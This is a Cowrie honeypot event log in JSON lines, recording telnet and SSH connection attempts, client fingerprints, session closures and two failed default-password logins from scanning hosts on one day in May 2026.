{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":42000,"dst_ip":"10.17.0.5","dst_port":23,"session":"dbfe4f54992b","protocol":"telnet","message":"New connection: 103.249.100.206:42000 (10.17.0.5:23) [session: dbfe4f54992b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:09.839305Z"}
{"eventid":"cowrie.session.closed","duration":33.82331418991089,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:09.845041Z","src_ip":"103.249.100.206","session":"d6b21c8b3fb8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"102.211.152.138","src_port":35142,"dst_ip":"159.203.135.109","dst_port":22,"session":"bcd50478a215","protocol":"ssh","message":"New connection: 102.211.152.138:35142 (159.203.135.109:22) [session: bcd50478a215]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:10.241783Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:10.272771Z","src_ip":"102.211.152.138","session":"bcd50478a215","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:10.377176Z","src_ip":"102.211.152.138","session":"bcd50478a215","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.663986921310425,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:10.490116Z","src_ip":"103.249.100.206","session":"8dcc5f0e9aff","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"ninja","message":"login attempt [admin/ninja] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:10.824634Z","src_ip":"102.211.152.138","session":"bcd50478a215","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.844427347183228,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:10.876555Z","src_ip":"103.249.100.206","session":"cffdd5665eec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":42996,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1c076ce3898","protocol":"telnet","message":"New connection: 103.249.100.206:42996 (10.17.0.5:23) [session: e1c076ce3898]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:10.950542Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.238.80.67","src_port":54554,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f6a14f07c2c","protocol":"telnet","message":"New connection: 216.238.80.67:54554 (10.17.0.5:23) [session: 1f6a14f07c2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:11.143801Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.238.80.67","src_port":54570,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa5de6c51deb","protocol":"telnet","message":"New connection: 216.238.80.67:54570 (10.17.0.5:23) [session: fa5de6c51deb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:11.162968Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.238.80.67","src_port":52636,"dst_ip":"10.17.0.5","dst_port":23,"session":"52d4171191a9","protocol":"telnet","message":"New connection: 216.238.80.67:52636 (10.17.0.5:23) [session: 52d4171191a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:11.236262Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":42650,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c7b5b245647","protocol":"telnet","message":"New connection: 103.249.100.206:42650 (10.17.0.5:23) [session: 8c7b5b245647]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:11.417004Z"}
{"eventid":"cowrie.session.closed","duration":31.271575927734375,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:11.736995Z","src_ip":"103.249.100.206","session":"b9a429c75e99","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:11.932041Z","src_ip":"102.211.152.138","session":"bcd50478a215","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.764404773712158,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:12.183537Z","src_ip":"216.238.80.67","session":"c68906858cba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.422340869903564,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:12.464094Z","src_ip":"185.26.126.47","session":"2b54c1825059","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.4179527759552,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:12.886588Z","src_ip":"216.238.80.67","session":"7cf0e1940217","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.266627073287964,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:13.572372Z","src_ip":"216.238.80.67","session":"e595d471b25f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.56865644454956,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:14.148570Z","src_ip":"216.238.80.67","session":"54710475ed10","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.901174306869507,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:14.206216Z","src_ip":"216.238.80.67","session":"3a5c135c0894","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.077603578567505,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:14.618535Z","src_ip":"103.249.100.206","session":"cd00f344ce89","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":45926,"dst_ip":"10.17.0.5","dst_port":23,"session":"3600ef4a6641","protocol":"telnet","message":"New connection: 103.249.100.206:45926 (10.17.0.5:23) [session: 3600ef4a6641]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:14.623803Z"}
{"eventid":"cowrie.session.closed","duration":31.218982458114624,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:14.821464Z","src_ip":"103.249.100.206","session":"88995a9ada96","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.474825859069824,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:14.950398Z","src_ip":"103.249.100.206","session":"2fa0cf742794","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.238.80.67","src_port":55034,"dst_ip":"10.17.0.5","dst_port":23,"session":"188d8716dbaa","protocol":"telnet","message":"New connection: 216.238.80.67:55034 (10.17.0.5:23) [session: 188d8716dbaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:15.025610Z"}
{"eventid":"cowrie.session.connect","src_ip":"178.27.90.142","src_port":63212,"dst_ip":"159.203.135.109","dst_port":22,"session":"ed53b7cc0078","protocol":"ssh","message":"New connection: 178.27.90.142:63212 (159.203.135.109:22) [session: ed53b7cc0078]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:15.250448Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:15.255481Z","src_ip":"178.27.90.142","session":"ed53b7cc0078","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:15.371423Z","src_ip":"178.27.90.142","session":"ed53b7cc0078","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"216.238.80.67","src_port":56816,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8748400342e","protocol":"telnet","message":"New connection: 216.238.80.67:56816 (10.17.0.5:23) [session: e8748400342e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:15.386586Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":48342,"dst_ip":"10.17.0.5","dst_port":23,"session":"dbc6094d7627","protocol":"telnet","message":"New connection: 103.249.100.206:48342 (10.17.0.5:23) [session: dbc6094d7627]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:15.693539Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":47084,"dst_ip":"10.17.0.5","dst_port":23,"session":"8aaa0f07165d","protocol":"telnet","message":"New connection: 103.249.100.206:47084 (10.17.0.5:23) [session: 8aaa0f07165d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:15.713102Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":48340,"dst_ip":"10.17.0.5","dst_port":23,"session":"e2313640c283","protocol":"telnet","message":"New connection: 103.249.100.206:48340 (10.17.0.5:23) [session: e2313640c283]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:15.722525Z"}
{"eventid":"cowrie.session.closed","duration":31.10966968536377,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:15.748128Z","src_ip":"103.249.100.206","session":"228bbd6843ff","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"00000000","message":"login attempt [user/00000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:15.819436Z","src_ip":"178.27.90.142","session":"ed53b7cc0078","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.680838346481323,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:15.910917Z","src_ip":"103.249.100.206","session":"2aaf42c9de55","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.54034423828125,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:15.922651Z","src_ip":"103.249.100.206","session":"75355e5862c7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":48684,"dst_ip":"10.17.0.5","dst_port":23,"session":"8889e4d07999","protocol":"telnet","message":"New connection: 103.249.100.206:48684 (10.17.0.5:23) [session: 8889e4d07999]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:16.003804Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":48842,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e3ccb9e2b61","protocol":"telnet","message":"New connection: 103.249.100.206:48842 (10.17.0.5:23) [session: 3e3ccb9e2b61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:16.111672Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":49746,"dst_ip":"10.17.0.5","dst_port":23,"session":"56efe9f401b8","protocol":"telnet","message":"New connection: 103.249.100.206:49746 (10.17.0.5:23) [session: 56efe9f401b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:16.835995Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:16.927844Z","src_ip":"178.27.90.142","session":"ed53b7cc0078","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.03747582435608,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:17.092645Z","src_ip":"103.249.100.206","session":"bcfab642c65c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.44630789756775,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:17.185422Z","src_ip":"216.238.80.67","session":"995c3e900325","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":49664,"dst_ip":"10.17.0.5","dst_port":23,"session":"c4c3c250ae85","protocol":"telnet","message":"New connection: 103.249.100.206:49664 (10.17.0.5:23) [session: c4c3c250ae85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:17.764285Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":51456,"dst_ip":"10.17.0.5","dst_port":23,"session":"30aaf9252f22","protocol":"telnet","message":"New connection: 103.249.100.206:51456 (10.17.0.5:23) [session: 30aaf9252f22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:18.050893Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":50206,"dst_ip":"10.17.0.5","dst_port":23,"session":"22839be3945b","protocol":"telnet","message":"New connection: 103.249.100.206:50206 (10.17.0.5:23) [session: 22839be3945b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:18.100998Z"}
{"eventid":"cowrie.session.closed","duration":30.54442572593689,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:18.107028Z","src_ip":"216.238.80.67","session":"41d31b84f7a6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.238.80.67","src_port":59394,"dst_ip":"10.17.0.5","dst_port":23,"session":"efb13be12677","protocol":"telnet","message":"New connection: 216.238.80.67:59394 (10.17.0.5:23) [session: efb13be12677]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:18.581994Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.238.80.67","src_port":59470,"dst_ip":"10.17.0.5","dst_port":23,"session":"29e1c14369e0","protocol":"telnet","message":"New connection: 216.238.80.67:59470 (10.17.0.5:23) [session: 29e1c14369e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:18.673764Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.238.80.67","src_port":59558,"dst_ip":"10.17.0.5","dst_port":23,"session":"73d33cb199be","protocol":"telnet","message":"New connection: 216.238.80.67:59558 (10.17.0.5:23) [session: 73d33cb199be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:18.796412Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":52728,"dst_ip":"10.17.0.5","dst_port":23,"session":"be15d5940d25","protocol":"telnet","message":"New connection: 103.249.100.206:52728 (10.17.0.5:23) [session: be15d5940d25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:19.003830Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":50622,"dst_ip":"10.17.0.5","dst_port":23,"session":"49cfd2e51c5a","protocol":"telnet","message":"New connection: 103.249.100.206:50622 (10.17.0.5:23) [session: 49cfd2e51c5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:19.287491Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":43536,"dst_ip":"10.17.0.5","dst_port":23,"session":"32a67893f232","protocol":"telnet","message":"New connection: 103.249.100.206:43536 (10.17.0.5:23) [session: 32a67893f232]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:19.366059Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":52302,"dst_ip":"10.17.0.5","dst_port":23,"session":"1763f85043d1","protocol":"telnet","message":"New connection: 103.249.100.206:52302 (10.17.0.5:23) [session: 1763f85043d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:19.523886Z"}
{"eventid":"cowrie.session.closed","duration":31.26032543182373,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:19.550452Z","src_ip":"103.249.100.206","session":"808739ebe9af","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":52408,"dst_ip":"10.17.0.5","dst_port":23,"session":"dde86d08169d","protocol":"telnet","message":"New connection: 103.249.100.206:52408 (10.17.0.5:23) [session: dde86d08169d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:19.617074Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":53776,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7246bb19516","protocol":"telnet","message":"New connection: 103.249.100.206:53776 (10.17.0.5:23) [session: e7246bb19516]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:20.015821Z"}
{"eventid":"cowrie.session.closed","duration":30.753528118133545,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:20.415948Z","src_ip":"103.249.100.206","session":"47bebbba5a07","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.238.80.67","src_port":60348,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a9022f5c37b","protocol":"telnet","message":"New connection: 216.238.80.67:60348 (10.17.0.5:23) [session: 5a9022f5c37b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:21.011662Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":54880,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f637bebc7f8","protocol":"telnet","message":"New connection: 103.249.100.206:54880 (10.17.0.5:23) [session: 6f637bebc7f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:21.085030Z"}
{"eventid":"cowrie.session.closed","duration":30.81285285949707,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:21.130070Z","src_ip":"216.238.80.67","session":"6b79fd244b5c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":55528,"dst_ip":"10.17.0.5","dst_port":23,"session":"dcdb4d9d71a9","protocol":"telnet","message":"New connection: 103.249.100.206:55528 (10.17.0.5:23) [session: dcdb4d9d71a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:21.839180Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.238.80.67","src_port":59612,"dst_ip":"10.17.0.5","dst_port":23,"session":"09977210730c","protocol":"telnet","message":"New connection: 216.238.80.67:59612 (10.17.0.5:23) [session: 09977210730c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:21.941178Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":55668,"dst_ip":"10.17.0.5","dst_port":23,"session":"b2a47b414d94","protocol":"telnet","message":"New connection: 103.249.100.206:55668 (10.17.0.5:23) [session: b2a47b414d94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:21.955177Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":52918,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d5afa39fc87","protocol":"telnet","message":"New connection: 103.249.100.206:52918 (10.17.0.5:23) [session: 6d5afa39fc87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:22.140612Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":46490,"dst_ip":"10.17.0.5","dst_port":23,"session":"306df8918622","protocol":"telnet","message":"New connection: 103.249.100.206:46490 (10.17.0.5:23) [session: 306df8918622]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:22.432139Z"}
{"eventid":"cowrie.session.closed","duration":30.9731285572052,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:22.461632Z","src_ip":"103.249.100.206","session":"464806d4b091","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.238.80.67","src_port":34002,"dst_ip":"10.17.0.5","dst_port":23,"session":"b28a8c32fbf2","protocol":"telnet","message":"New connection: 216.238.80.67:34002 (10.17.0.5:23) [session: b28a8c32fbf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:22.547375Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":56370,"dst_ip":"10.17.0.5","dst_port":23,"session":"825dfec26e08","protocol":"telnet","message":"New connection: 103.249.100.206:56370 (10.17.0.5:23) [session: 825dfec26e08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:22.610390Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.238.80.67","src_port":32792,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b6e884c9d0c","protocol":"telnet","message":"New connection: 216.238.80.67:32792 (10.17.0.5:23) [session: 5b6e884c9d0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:23.932884Z"}
{"eventid":"cowrie.session.closed","duration":31.81538224220276,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:24.036348Z","src_ip":"216.238.80.67","session":"c5be16a8694c","protocol":"telnet"}
